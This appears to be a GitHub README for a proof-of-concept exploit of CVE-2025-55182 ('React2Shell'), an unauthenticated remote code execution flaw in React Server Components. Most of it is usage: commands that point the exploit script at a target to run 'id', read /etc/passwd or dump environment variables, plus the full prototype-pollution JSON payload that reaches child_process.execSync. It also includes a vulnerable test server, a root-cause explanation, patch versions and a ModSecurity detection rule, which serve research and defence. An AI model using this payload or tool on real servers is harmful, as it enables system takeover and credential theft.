greenheadhq/cve-2025-55182Proof-of-concept exploit for CVE-2025-55182 (React2Shell), demonstrating unauthenticated remote code execution in React Server Components via Flight protocol deserialization. Includes vulnerable server setup and detection scripts.
| Item | Content |
|---|
| CVE ID | CVE-2025-55182 |
| Alias | React2Shell |
| CVSS Score | 10.0 (Critical - Maximum Severity) |
| Vulnerability Type | Unauthenticated Remote Code Execution (RCE) |
| Discovered by | Lachlan Davidson |
| Disclosure Date | December 3, 2025 |
react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0CVE-2025-55182/
├── README.md # This file
├── vulnerable-server/ # Vulnerable Next.js server
│ ├── package.json
│ ├── next.config.js
│ ├── tsconfig.json
│ └── app/
│ ├── layout.tsx
│ ├── page.tsx
│ └── actions.ts # Server Action
├── exploit/ # Attack PoC
│ ├── package.json
│ ├── poc.js # RCE attack script
│ └── check-vulnerability.js # Vulnerability check script
└── React2Shell-CVE-2025-55182-original-poc/ # Original PoC reference
# Install dependencies
cd vulnerable-server
npm install
# Run server in development mode (port 3000)
npm run dev
The server will be running at http://localhost:3000.
In a new terminal:
# Install dependencies
cd exploit
npm install
# Check vulnerability
npm run check
# Run PoC (test mode)
npm run exploit
node poc.js -m test
# macOS
node poc.js -m calc
# Linux
node poc.js -m calc -c linux
# Windows
node poc.js -m calc -c windows
# Execute id command
node poc.js -t http://localhost:3000 -m rce -c "id"
# Read file
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"
# System information
node poc.js -t http://localhost:3000 -m rce -c "uname -a"
node poc.js -t http://localhost:3000 -m env
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"
Occurs when deserializing client-sent data in the Flight protocol of React Server Components.
The requireModule function trusts client-sent property names without validation
→ No hasOwnProperty check when executing moduleExports[metadata[NAME]]
→ Prototype chain manipulation possible (Server-Side Prototype Pollution)
→ Acquire Function constructor → RCE
$@x deserialization - Obtain Chunk object reference.then methodstatus: resolved_model_response, _formData, etc.$1:constructor:constructornew Function(maliciousCode){
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': 'process.mainModule.require("child_process").execSync("id")//',
'_formData': {
'get': '$3:constructor:constructor'
},
'_chunks': '$2:_response:_chunks'
}
}
# For 15.0.x users
npm install [email protected]
# For 15.1.x users
npm install [email protected]
# For 15.2.x users
npm install [email protected]
npm install [email protected]
npm install [email protected]
npm install [email protected]
POST requestNext-Action header presentmultipart/form-data format$@, resolved_model, constructor in the body# Detect suspicious Flight payload
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:1001,phase:2,deny,status:403,\
chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
"t:lowercase"
This project is provided for educational and research purposes only. Use for malicious purposes is prohibited.
Note: If you discover this vulnerability in a production environment, patch it immediately. If an attack is confirmed, report it to the security team and conduct a breach investigation.